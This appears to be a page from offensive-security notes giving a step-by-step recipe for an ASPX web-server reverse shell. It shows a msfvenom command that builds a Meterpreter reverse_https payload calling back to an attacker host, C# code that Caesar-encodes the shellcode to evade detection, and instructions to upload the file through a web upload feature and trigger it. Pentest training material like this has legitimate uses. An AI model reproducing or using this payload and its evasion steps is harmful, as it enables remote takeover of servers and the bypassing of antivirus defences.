githubEdit

ASPX

1) Craft payload

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=443 -f aspx -o pay.aspx

2) Encode the shellcode part of your payload using Caesar encryptor from a C# Console App below

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace CaesarEncrypt
{
    class Program
    {
        static void Main(string[] args)
        {
            // INSERT SHELLCODE HERE
            byte[] buf = new byte[685]
            {
                shellcodeHere
            };
            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint) buf[i] + 5) & 0xFF);
            }
            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            foreach(byte b in encoded)
            {
                hex.AppendFormat("0x{0:x2}, ", b);
            }
            Console.WriteLine("The payload is: " + hex.ToString());
        }
    }
}

3) Insert shellcode below

4) Setup listener

5) Upload it to the server and then find a way to trigger it in the web server

Usually an upload functionality that after uploading allow us to see the files

PowerShell Download

SQL Injection RCE

Last updated